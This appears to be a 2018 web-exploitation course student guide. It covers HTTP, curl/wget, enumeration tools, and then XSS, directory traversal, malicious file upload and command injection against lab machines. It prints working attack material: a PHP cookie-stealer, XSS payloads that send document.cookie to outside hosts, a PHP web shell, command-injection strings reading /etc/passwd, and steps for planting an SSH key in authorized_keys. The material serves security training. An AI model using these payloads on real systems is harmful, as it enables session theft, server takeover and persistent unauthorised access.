Web Exploitation - Day 1

Version Date: 24 SEP 2018

Student Guide Printable Format

Table of Contents

Web Fundamentals

OUTCOME: This section facilitation provides the students with an overview of the concepts fundamental to understanding how HTTP and the Web work.

This is an informal section that will focus on a broad overview of HTTP, the synchronous client-server web relationship, HTML, CSS, and Javascript:

- Discuss HTTP and the fundamentals of a standard web request
- Cover the types of requests and why web requests are inherently synchronous*
- Define HTML, CSS, and Javascript and discuss their relationship to one another

A helpful analogy is using a house: HTML is the frame of the house, CSS is the paint and decoration that allows the house to be "styled" and look nice, and Javascript is the component that allows changes to be made to the house after it's built.

*Note: frameworks exist to enable asynchronous communication in websites, but they implement this on top of synchronous web requests

Server/Client Relationship

The web follows a server/client model with synchronous interaction initiated by the client and responded to by the server.

- In this case, the client is usually the web browser. However, it's important to note that anything can be a client, including command line tools such as curl or wget, or proxying tools such as ZAP or Burp. That is to say that interactions with the server that might be difficult to achieve with a web browser can be done using other tools instead (such as manipulating individuals fields in a request).
- The server in this case is some sort of software such as apache2/httpd, nginx, IIS (Microsoft's web server), or some other web server framework (such as Flask or Tornado, both in python, or Node.js in javascript). The servers then either return static HTML files to the user or dynamically-generated HTML using some sort of server-side language. Some common languages for server-side programming include PHP, ASP, CGI/Perl, Python, or Javascript when included in a server-side framework like Node.js.

An important note with server-side languages is that in properly configured web server, the client does not see the raw server-side language. Instead, the client only receives the HTML output generated after the server-side language is executed. This enables the server to deal with sensitive information and only return information back to the client that the client is allowed to see. Additionally, this allows the server to interact with database systems such as MySQL, SQLite, MongoDB, or any other database in a controlled manner for storing and retrieving data. An example of a use case that would require a database is a website that allows dynamic and automatic registration of users and then later authenticates those users.

Further reading:

- https://en.wikipedia.org/wiki/Server-side_scripting

HyperText Transfer Protocol (HTTP)

Hypertext Transfer Protocol (HTTP) is an stateless application protocol for used by the World-Wide Web for data transfer over TCP/IP. The first version of HTTP was 0.9, which was adopted in the 1990s. While binary-only HTML/2 was standardized in 2015, the most widely used version is currently HTTP/1.1.

The protocol is broken into two components: a request that is generated by a client (such as a web browser or a command-line tool) and a response that is generated by a server in response to a request.

- A request contains the request line, the request headers, and the message body. The request line follows the format `Method Request-URI HTTP-Version`. For example, a common request line for the root of a web server is `GET / HTTP/1.1`.
- Likewise, a response contains a status line, response headers, and the message body. The status line follows the format `HTTP-Version Status-Code Reason-Phrase`. For example, a common successful response line to a GET request is `HTTP/1.1 200 OK`.

HTTP/1.1 has 8 possible methods: *OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, CONNECT*. Detailed descriptions of all of the methods can be found in Section 9 of RFC 2616. We will focus on the two most common methods: *GET and POST*.

The GET method is used to retrieve whatever information is identified by the Request-URI. In a similar fashion, a POST method is similar to a GET except in that it also allows sending a data block in the message body of the request.

There are a large number of request and response header fields. Each header gets its own line and follows the format `fieldName: fieldValue`.

Some common field names for request headers include:

- Host - the domain name of the server being requested. "example.com" — This is especially relevant in servers that host multiple domains, or "virtual hosts."
- User-Agent - an identifier for the web browser. "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0"
- Referer - the URI that of the web page that referred the browser to the current request. "https://www.google.com/"
- Accept-Language - the language that the browser will reqeust. "en-US,en"
- Accept - the type of content the browser supports accepting. "text/html"
- Cookie - the cookie values associated with the request. These are usually set by the server in a response first and then returned in subsequent requests to allow the server to track state across multiple requests. "session=4ea45745732f14792ca80c3ef73b69c9"
- Content-Length - the number of octets transmitted in the request body. "19"

Some common field names for response headers include:

- Date - the server timestamp of the response
- Content-Type - indicates the media type of the message body. "text/html"
- Content-Length - the number of octets transmitted in the response message body. "50"
- Server - a string to identify the server software. "Apache/2.2.22 (Debian)"
- Set-Cookie - sets a cookie value for the browser to remember. "Set-Cookie: session=eyJwaWN0dXJlIjoiL3ZpZXcvc3BhY2VfUmFuZ2VyLmpwZyIsInJhbmsiOjAsInVzZXJuYW1lIjoiYXNkZiJ9.DoqU5A.XjY6M70e1Hb3SX8ZiH9tRJ7QfsI; HttpOnly; Path=/"

Here is an example of a raw GET request made to example.com by Firefox running on Kubuntu 18.04:

```
 GET / HTTP/1.1
 Host: example.com
 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101
Firefox/62.0
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
 Accept-Language: en-US,en;q=0.5
 Accept-Encoding: identity
 Connection: keep-alive
 Upgrade-Insecure-Requests: 1
 DNT: 1
 If-Modified-Since: Fri, 09 Aug 2013 23:54:35 GMT
 If-None-Match: "1541025663+gzip"
 Cache-Control: max-age=0
```

The corresponding reply:

```
  HTTP/1.1 200 OK
  Accept-Ranges: bytes
  Cache-Control: max-age=604800
  Content-Type: text/html; charset=UTF-8
  Date: Mon, 24 Sep 2018 15:45:44 GMT
  Etag: "1541025663"
  Expires: Mon, 01 Oct 2018 15:45:44 GMT
  Last-Modified: Fri, 09 Aug 2013 23:54:35 GMT
  Server: ECS (atl/FCE4)
  Vary: Accept-Encoding
  X-Cache: HIT
  Content-Length: 1270

  <!doctype html>
  <html>
  <head>
     <title>Example Domain</title>
     <meta charset="utf-8" />
     <meta http-equiv="Content-type" content="text/html; charset=utf-8" />
```

```
      <meta name="viewport" content="width=device-width, initial-scale=1" />
      <style type="text/css">
      body {
          background-color: #f0f0f2;
          margin: 0;
          padding: 0;
          font-family: "Open Sans", "Helvetica Neue", Helvetica, Arial, sans-serif;
      }
      div {
          width: 600px;
          margin: 5em auto;
          padding: 50px;
          background-color: #fff;
          border-radius: 1em;
      }
      a:link, a:visited {
          color: #38488f;
          text-decoration: none;
      }
      @media (max-width: 700px) {
          body {
              background-color: #fff;
          }
          div {
              width: auto;
              margin: 0 auto;
              border-radius: 0;
              padding: 1em;
          }
      }
      </style>
  </head>
  <body>
  <div>
      <h1>Example Domain</h1>
      <p>This domain is established to be used for illustrative examples in documents.
You may use this
       domain in examples without prior coordination or asking for permission.</p>
       <p><a href="http://www.iana.org/domains/example">More information...</a></p>
  </div>
  </body>
  </html>
```

A GET request can also pass data to the server by **passing it in the URL**. For example, a input form on a website that uses a GET to process the form might send the data in the Request-URI like this: `/submit.php?name=guest&message=hello+i+am+sending+a+message`.

Meanwhile, a POST request is similar to a GET, except that instead of passing the data in the Request-URI, the data is passed in the **message body**. The same data over a post would show a POST to the Request-URI `/submit.php`, but then the content would be passed in the message body as

`name=guest&message=hello+i+am+sending+a+message`. If a server is logging the Request-URI in access logs, POST requests will prevent sensitive information from being logged. Further, POST requests allow for sending higher quantities of data to the server such as file uploads. The limit on the size for the Request-URI is not specified in the RFC, but varies depending on web browser and server.

DEMO: HTTP Request/Response

IMPORTANT	This should be done from either Firefox on your workstation, or Chrome on your OPS station. Developer console is disabled in Chrome on your workstation!

1. Open browser and hit `F12` to enter Dev Console
2. Browse to whatever website (console will automatically have Network, Headers, and Elements (HTML code) highlight in blue)
3. Under the Headers tab discuss fields. You may also hit the Raw headers button on the status code field to view request/response headers side by side.

Sources:

- https://tools.ietf.org/html/rfc2616 - HTTP/1.1
- https://tools.ietf.org/html/rfc7540 - HTTP/2

CLI based web tools: cURL and WGET

By this time students should have a base understanding using non-interactive CLI web retrieval tools. Tools are utilized to push and pull information from web servers, however there are differences. Understanding these differences assit with identifing which tool to deploy.

WGET provides:

1. Recursive download
2. Requires no extra options to download a file
3. Supports OpenSSL for SSL/TLS support
4. Recover from boken transfer
5. cookies, redirect, time stamping features enabled by default
6. Support for HTTP, HTTPS, and FTP

cURL provides:

1. Pipe usage
2. Single transfers
3. Supports more protocols than WGET such as SCP, SFTP, POP3 to name a few

4. HTTP authentication
5. SOCKS support
6. Upload and download ability
7. Support gzip and deflate conetent-encoding with automatic decompression

Command Examples:

`curl -X POST http://website -d 'username=yourusername&password=yourpassword'`	*Use POST method to login to website*
`curl 'website' -H 'Cookie: name=123; settings=1,2,3,4,5,6,7' --data 'name=Stan' | base64 -d > item.png`	*Send Cookie settings with data, then pipe results*
`curl -o stuff.html http://website/stuff.html`	*Save to file*
`wget -r -l2 -P /tmp ftp://ftpserver/`	*recursive download two level deep of base dir and save to /tmp*
`wget --save-cookies cookies.txt --keep-session-cookies --post-data 'user=1&password=2' http://website`	*Save cookies for website into a file*
`wget --load-cookies cookies.txt -p http://example.com/interesting/article.php`	*Use the cookie file to grab the page we want*

NOTE The resulting output will NOT be interactive! To utilize interactive content (i.e. forms for injection) you will need to browse to the web address normally!

Javascript

Javascript is what allows web pages to behave in an interactive fashion. Like CSS, Javascript can be defined inline, attached to objects through events (such as "onload" or "onclick"), or imported from external Javascript files. Javascript as a language can also be used in server applications such as Node.js or phantomjs headless web browsers; however this lesson will focus strictly on Javascript as it relates to HTML DOM.

A component of Javascript known as Asynchronous Javascript And XML (AJAX) allows a browser to make requests in the background of a web page after it first loads in a manner that is transparent to the user. This allows data exchange behind the scenes without requiring the entire page to reload. AJAX also allows for the implementation of asynchronous web applications built on top of

synchronous HTTP.

Note: While Java and Javascript have similar names, they are completely distinct languages.

A sample web page from W3Schools that utilizes javascript is shown below:

```
<!DOCTYPE html>
<html>
<body>
<h1>A Web Page</h1>
<p id="demo">A Paragraph</p>
<button type="button" onclick="myFunction()">Try it</button>
<script>
function myFunction() {
   document.getElementById("demo").innerHTML = "Paragraph changed.";
}
</script>
</body>
</html>
```

In the modern web, web developers often use javascript frameworks to simplify and standardize javascript. Additionally, something called WebAssembly (wasm) provides the ability to execute compiled binaries within javascript inside a client's browser.

DEMO: Javascript - In Action

IMPORTANT	This should be done from either Firefox on your workstation, or Chrome on your OPS station. Developer console is disabled in Chrome on your workstation!

1. Browse to http://<ip>/java/Javademo.html on Demo-Web_Exploit_Upload instance in DEMO net
2. Dev console and discuss script
    a. Select a fruit from the dropdown and submit. Notice that the fruit you selected is overwritten with "Melon", this is due to the function called by the onclick which will overwrite the selection.

Sources:

- https://www.w3schools.com/js/js_whereto.asp - W3SChools javascript reference
- https://en.wikipedia.org/wiki/Comparison_of_JavaScript_frameworks - A comparison of javascript frameworks
- https://www.w3.org/community/webassembly/ - Web Assembly Community Group

Using Modern Browser Developer Console

OUTCOME: Students are introduced to the Firefox and Google Chrome developer consoles and know how to use them to monitor web requests, view and run commands in the Developer Console, view and modify the HTML DOM, and edit and resend web requests (cURL or Firefox).

DEMO: Additional Developer Console Usage

IMPORTANT	This should be done from either Firefox on your workstation, or Chrome on your OPS station. Developer console is disabled in Chrome on your workstation!

1. Open Firefox browser and hit `F12` to open Dev Console
2. Broswe to the <float ip> of the Demo-Web_Exploit_SQL instance in the DEMO net
3. Switch to the Elements top-level tab (the box with arrow picture). Note the ability to view any of the HTML elements and pinpoint them on the screen.
4. Switch to the console tab, type 'allow pasting' into input at the bottom of screen. Enter a simple javascript alert (alert('hell0') and then alert(document.cookie). This illustrates the ability to access and execute arbitrary javascript within the DOM context.
5. Input bogus login info on the webpage.
6. Go to the Network tab, select All and then Headers click "Edit and Resend." In the 'Request Body' plane change username=c3p0&passwd=annoying. However, this will not work or us.
7. Right click the post and 'copy as cURL'. Now let modify it a little so we can get a successful login. Add a -X POST and add the c3p0 info in the --data, run the command in a differnt system (one that has curl installed). Success you should see: добро пожаловать товарищс3р0. This is a way to have a legit looking curl that we can quickly modify data and send.

```
curl -X POST 'http:/<TARGET_IP>/login.php' -H 'Host: <TARGET_IP>' -H 'User-Agent:
Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0' -H 'Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H 'Accept-Language:
en-US,en;q=0.5' --compressed -H 'Referer: http://<TARGET_IP>/' -H 'Content-Type:
application/x-www-form-urlencoded' -H 'Cookie: PHPSESSID=oic9b5nd6hr08g2d4v7f2r6md1;
username=YouHaveTheCookie' -H 'Connection: keep-alive' -H 'Upgrade-Insecure-Requests:
1' -H 'Cache-Control: max-age=0' --data 'username=c3p0&passwd=annoying'
```

Website Enumeration

Enumeration of a website is conducted during discovery phase attempting to identify a websites pages and possible vulnerabilites. Many tools are aviable to scan websites such as *NMAP, Nikto, and Dirbuster*. Some tools are better than other, however one can gather valuable information through

legitimate "web-surfing" by following links or viewing pages.

One file that could be aviable to view is `robots.txt`. This file is utilized by website owners to communicate what file and directory paths web robots (web crawlers) should index. Robots.txt is not a valid form of access control, but can shed light on what additional areas one might be able to view or where data is being stored.

DEMO: Website Enumeration

1. Robots.txt example, browse to Demo-Web_Exploit_upload on the DEMO net. http://<float ip>/robots.txt.
2. Enumeration with proxychains. Utilize your OPS station. It has proxychains, nmap, and nikto installed. Below commands will show NSE scripting to help identify information on the webserver.

```
ssh root@10.50.24.104 -D 9050

proxychains nmap -Pn -T5 -sT -p 80 --script http-enum.nse <IP>

proxychains nmap -Pn -T5 -sT -p 80 --script http-sql-injection.nse <IP>

proxychains nmap -Pn -T5 -sT -p 80 --script http-robots.txt.nse <IP>
```

Understand that canned NSE scripts will look for preconfigured items and are not as robust as a tool desinged for Website enummeration such as NIKTO. Utilizing NMAP would typically require more scans to build a picture of how the website is configured. This is seen by our NSE script scans where not every page is identified.

It should be addressed again that proxychains will only support **TCP** (NOT ICMP).

DEMO: NIKTO

```
nikto v -h <IP>
```

Point of this last demo is to showcase some tools are better than others and to plan out what tools to deploy depending on the need. NIKTO was able to identify all the webpages and assocated OSVs.

Cross-Site Scripting (XSS)

OUTCOME: This section facilitates digging deeper into Javascript components techniques that will be useful for cross-site scripting. Students will then be introduced to stored and reflected cross-site scripting techniques, to develop the skills necessary to successfully conduct both forms of XSS in an activity.

Cross-Site Scripting (XSS) is a form of attack in which untrusted Javascript is injected into a trusted website. This occurs when input from a user is displayed back without proper sanitization. In XSS, the victim is not the server itself, but the browser of a visitor. The injected Javascript executes within the context of the DOM of the visiting user.

This can be dangerous for several reasons:

- The untrusted javascript has access to all elements of the DOM, including cookie data. A malicious actor may leverage this to gain access to user session cookies in order to impersonate that user. If sensitive information is available in the page, this could also be leaked to the malicious actor.
- The javascript could be used to force the victim to visit another website that has a malicious payload or to execute unpatched or 0-day browser exploits.

There are two types of XSS: **Reflected** and **Stored**.

Reflected XSS

According to owasp.org, "reflected attacks are those where the injected script is reflected off the web server, such as in an error message, search result, or any other response that includes some or all of the input sent to the server as part of the request. Reflected attacks are delivered to victims via another route, such as in an e-mail message, or on some other website. When a user is tricked into clicking on a malicious link, submitting a specially crafted form, or even just browsing to a malicious site, the injected code travels to the vulnerable web site, which reflects the attack back to the user's browser. The browser then executes the code because it came from a "trusted" server. Reflected XSS is also sometimes referred to as Non-Persistent or Type-II XSS."

An example of XSS vulnerability might be a website that stores some value encoded in a variable in the GET request, and then displays that value directly back to the user. For example, data can be hex or base64 encoded, and then decoded by the server and displayed back to the user.

In the following example, the "name" GET variable is a Base64 encoding (and then a URL encoding) of user123. An imaginary server at example.com decodes the variable and displays it straight back to the user without any sanitization or filtering.

```
http://example.com/page.php?name=dXNlcjEyMw%3D%3D
```

A malicious actor could Base64 encode a Javascript payload and then trick a user to click on the link. The server would then decode the Javascript and include it in the HTML source of the website, executing untrusted Javascript within the context of the trusted website. This could be used to

phish a user, gather information about the user's state on the trusted website, or otherwise redirect them to a malicious website.

Most actors will Base64 encode and than use TinyURL for futher obfuscation and to make the link seem more legitimate.

Stored XSS

According to Owasp.org, "stored attacks are those where the injected script is permanently stored on the target servers, such as in a database, in a message forum, visitor log, comment field, etc. The victim then retrieves the malicious script from the server when it requests the stored information. Stored XSS is also sometimes referred to as Persistent or Type-I XSS."

Stored XSS can be more dangerous because it does not require a user to click on a malicious link, but instead to simply visit the trusted website. Stored XSS can be used to keylog, gather session information, or deploy malicious payloads to visiting users.

An example of a stored XSS might be one that creates an iframe or image and adds it in the background of the page. The iframe could load a URL such as `"http://badguydomain.com/?" + document.cookie` and exfiltrate all of the visitor's cookie information.

DEMO: Stored XXS

1. Utilize the message board hosted on the Demo-Web_Exploit_upload: `http://<float ip>/chat/messageb.php`
2. SSH into the demo-web-exploit-sql and cd into /var/www/html. This demo has a PHP script setup to grab cookies as they are redirected (Cookie_Stealer1.php) and writes into 'cookiefile.txt'. You may walk the students through the php if wanted.

```
<?php
$cookie = $_GET["username"];
$steal = fopen("/var/www/html/cookiefile.txt", "a+");
fwrite($steal, $cookie ."\n");
fclose($steal);
?>
```

1. On the message board enter a name and then input the following javascript in the message field and submit.

```
 <script>document.location="http://10.50.20.97/Cookie_Stealer1.php?username=" +
document.cookie;</script>
```

2. Show the students in the URL how we are redirected to our Cookie_Stealer page.

3. cat the cookiefile.txt file our demo-web-exploit-sql to show that we where able to grab cookie information.
4. To remove the stored XXS from sytem:

```
mysql
use messages;
select * from comments;  # --- find the ID your script is in
delete from comments where id = <ID>
```

Useful Javascript Components

The typical "proof of concept" XSS attack is launching a simple alert: `<script>alert('XSS!');</script>` This is because it's simple, short, and provides instant feedback of success. However, simply triggering an alert is not very useful from an attacker's perspective.

There are various objects that are accessible and controllable by javascript that make XSS valuable to an attacker:

- **Capturing Cookies**: the `document.cookie` object contains a string of all the cookies for the currently loaded webpage. If an attacker can exfiltrate this object to a remote server, he or she may be able to masquerade as the victim.
- **Capturing Keystrokes**: javascript allows for binding to keydown and keyup actions in order to log every keystroke that is pressed.
- **Capturing sensitive data**: Essentially anything on the page itself can be captured, such as credit card information, passwords, or other private information. An attacker can access the entire HTML source of the page in its current state with `document.body.innerHTML`.

Once an attacker has valuable information, he or she has to then exfiltrate the data to some external website or listener so it can be recovered. There are many ways to do this. A simple way might be simply to redirect the user using something such as `<script>document.location="http://badguy.com/?" + document.cookie;</script>`. Other techniques could be to add an image to the webpage that exfiltrates the data in the URL of the image request or adding an iframe to do the same. AJAX may also be useful as an exfil mechanism, but most modern browsers have protection against this via CORS protection. Additionally, in 2012, Content Security Policy was introduced to protect against XSS and other forms of client injection. While CSP is widely adopted across modern browsers, it is up to the web developer to properly implement safe policies.

Some examples of redirecting with Javascript components:

NOTE	The following examples essentially do the same thing

```
<script>document.location="http://OP-Station-IP:OPS-PORT/?username=" +
document.cookie;</script>
<script>window.location.href="http://website/?"+document.cookie;</script>
```

```
<script>write.location.href="http://10.50.20.97"</script>
```

Resources:

- https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)
- https://en.wikipedia.org/wiki/Content_Security_Policy

Server-Side Injection (URL, Upload)

OUTCOME: This section of facilitation introduces the students to the concepts required for skills skill11 and skill12. Students will be able to identify and leverage unsanitized input that is handled in server land as it pertains to URLs, command execution, and file uploads.

Techniques For Server-Side Injection

- While XSS is an injection technique that targets the client browser of a visitor for execution, there are other techniques that target components of the server. In all instances of these latter techniques, the server receives input from the user and executes it in the server-side before returning HTML to the user. If that input is not properly sanitized, it can be used to trigger unintended consequences. Some common examples of server-side injections include directory traversal, command injection, malicious file upload, and SQL injections (SQLI). In this section, we will cover the first three.

Directory Traversal:

- Directory traversal vulnerabilities exist when an attacker is able to read files on a web server that are outside of the intended scope by the developers. More generally, directory traversal gives an attacker arbitrary read of any file that the web server process has read permission for. This type of vulnerability often occurs in the part of the server that fetches a resource and returns it to the user. This type of vulnerability can manifest in server software such as Apache, IIS, or Nginx, but also in the web applications written in server-side languages as well.
- Imagine a website that allows users to upload and then fetch pictures. Let's say the pictures are stored in a separate directory isolated from the primary server (such as a file server) and one of the web pages provides a method to return files by name.
  - Say view_image.php receives filenames via a "file" GET parameter such as `view_image.php?file=logo.png`. This page then takes that parameter, and without doing any checks on the value, concatenates it with the path "/data/uploads/" and then returns it to the user. That is, the final path is "/data/uploads/" + "logo.png".
  - A malicious actor could use the lack of sanitization in the file read to access any file on the server that is readable by the server process. For example, on a unix-like system, `view_image.php?file=../../etc/passwd` would return the passwd file back, because `/data/uploads/../../etc/passwd` becomes just `/etc/passwd`. Arbitrary file reads like this can also be used to leak the server-side source code and hunt for further vulnerabilities in other parts of the source code.

NOTE

Do not confuse *Directory Traversal* with *Command Injection*. Directory traversal involves a script that is READING a file while Command Injection involves EXECUTING a command. However, you COULD execute `cat` to read a file. A command injection test would detect the latter.

DEMO: Directory Traversal

1. Demo-Web_Exploit_upload instance navigate to `http://<float IP>/path/pathdemo.php`
2. Page is set to read files from /etc so you can lookup: passwd, profile, networks, etc
3. Traverse to these two files ../../../../var/www/html/robots.txt and ../../../../usr/share/joe/lang/fr.po

Malicious File Upload:

- Malicious file upload vulnerabilities exist when a user is allowed to upload files to a server in a way that allows an attacker to upload malicious content to the server. An example might be a vulnerability that allows unauthenticated users to host arbitrary malicious files that could leverage the website's reputation for use in phishing campaigns. However, often it also could allow for direct compromise of the webserver itself, such as in the upload of server-side script files that can later be executed with GET requests.
- Let's return to the image hosting server in the directory traversal example. Let's imagine the server is running Apache2 with the PHP module and is configured to serve all files at and within the default server directory of `/var/www/html`. Additionally, the server is configured with the default settings to execute any file with at .php extension with the PHP interpreter.
    - Instead of storing the files in /data/uploads, upload.php stores the files in `/var/www/html/uploads`. The programmer intended for upload.php to only upload image files, but did not properly validate that the files were images. Consequently, it is possible to upload a malicious PHP named `image.png.php`.
    - Because of how Apache and PHP work together in this situation, the attacker can execute this malicious file by accessing `http://server/uploads/image.png.php`. Attackers can leverage this technique to upload a web shell that allows them to execute arbitrary commands on the server:

```
<HTML><BODY>
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<?php
if($_GET['cmd']) {
  system($_GET['cmd']);
  }
?>
</pre>
</BODY></HTML>
```

The ability to trick the server to executing arbitrary files based on their extension is especially common in servers like Apache, Nginx or IIS. However, it also is possible in other frameworks as well. If there isn't sanitization on the file name, an attacker can upload files to arbitrary locations as well.

Imagine we were using the Python framework Flask, which often tracks accessible URIs as routes in a file called `views.py`. We might be able to overwrite the normal `views.py` with our own malicious version that adds a URI route for command injection.

DEMO: Malicious File Upload

1. Browse to the Demo-Web_Exploit_XSS instance by navigating to `http://<float IP>`
2. Create malicious file with code above and upload.
3. Navigate to `/uploads` and click your file or call it directly `/uploads/<evil_file>`
4. Conduct enumeration to determine how we could develop a secure shell
5. After enumeration, perform commands such as uploading your ssh key

Command Injection

Command injection occurs when some input received from a user is used in command execution on the server-side in a way that allows a malicious actor to execute additional arbitrary commands.

A very basic command injection that is common in home router diagnostic tools is the ping utility. In this case, a web interface allows users to ping an IP address to see if it is online. A vulnerable server might do something as simple as execute `system("ping -c 1 ".$_GET["ip"]);` on the server-side of the website.; An attacker could leverage this to inject `; cat /etc/passwd`, which would make the overall command that is executed `ping -c 1 ; cat /etc/passwd`.

While the basic ping command injection example seems obvious, command injection can occur in places that may not seem inherently obvious. Let's go back to the image hosting example we've been using. Let's say the developer wants to check to see if the file being uploaded is actually an image file. First it checks if the final extension is either .png, .jpg, or .gif. Then it copies the file to /tmp/imgcheck/filename and runs `file /tmp/imgcheck/filename` to make sure the file utility recognizes the file headers as one of the accepted image types. A malicious user could set the filename of the upload to be `; cat /etc/passwd;#.png`. When the script tries to open the path for writing, it will fail because "/tmp/imgcheck/; cat /etc/passwd;#.png" is not a valid path. However, when it tries to run the file command, it will execute `file /tmp/imgcheck/; cat /etc/passwd;#.png`.

TIP

Trying to read /etc/passwd is a common check for command execution or directory traversal because the file is globally readable. However, another technique is to run a ping to an IP address that the attacker controls and then watch a packet capture on that remote device and watch for a successful ping.

Demo: Command Injection

1. Demo-Web_Exploit_upload instance navigate to `http://<float`

IP>/cmdinjection/cmdinjectdemo.php

2. Ping a IP to show the page works as designed
3. Showcase a few ways to successfully invoke command injection and perform system enumeration

```
; whoami
; cat /etc/passwd
; ls -latr & netstat -rn
|| ifconfig
```

4. After enumeration, perform commands such as uploading your ssh key to gain access

SSH Key Upload

Through either malicious upload or command injection, we can potentially upload our ssh key onto the target system. By uploading our key to the target, we can give ourselves access without needing a password.

SSH Key Setup

1. Run the ssh key gen command on ops-station. When prompted for location to save just press enter to leave default, you can press enter for password as well

```
ssh-keygen -t rsa
```

2. After generating ssh key look for public key in your .ssh folder. Your public key will have .pub as the extension

```
cat ~/.ssh/id_rsa.pub
```

TIP	The entire output is your public key, make sure when uploading you copy everything

Uploading SSH Key

On the target website we need to do some tasks in order to upload our ssh properly. These commands can be ran from a place where command injection is possible or if you uploaded some malicious php they can be done from there

NOTE	The following process is done on target through command injection or malicious upload.

1. Find out what account is running the web sever/commands.

```
whoami
```

2. Once the user is known find this users home folder by looking in /etc/passwd. We also want to make sure the user has a login shell. For the demo we looked for www-data in passwd because they were the resluting user from the previous whoami command.

```
 www-data:x:33:33:www-data:/var/www:/bin/bash    #/var/www is the home folder for
this user and /bin/bash is login shell.
```

3. Check to see if `.ssh` folder is in the users home directory. If not make it

```
 ls -la /users/home/directory      #check if .ssh exists
 mkdir /users/home/directory/.ssh   #make .ssh in users home folder if it does not
exist
```

4. Echo ssh key to the authorized_keys file in the users .ssh folder.

```
 echo "your_public_key_here" >> /users/home/directory/.ssh/authorized_keys
```

5. Verify key has been uploaded successfully.

```
 cat /users/home/directory/.ssh/authorized_keys
```

Once this process has be finished you should now be able to ssh on the target system as the user who is running the web server. If prompted for a password something has gone wrong.

Further Reading

- https://www.owasp.org/index.php/Command_Injection
- https://www.owasp.org/index.php/Path_Traversal
- https://www.owasp.org/index.php/Unrestricted_File_Upload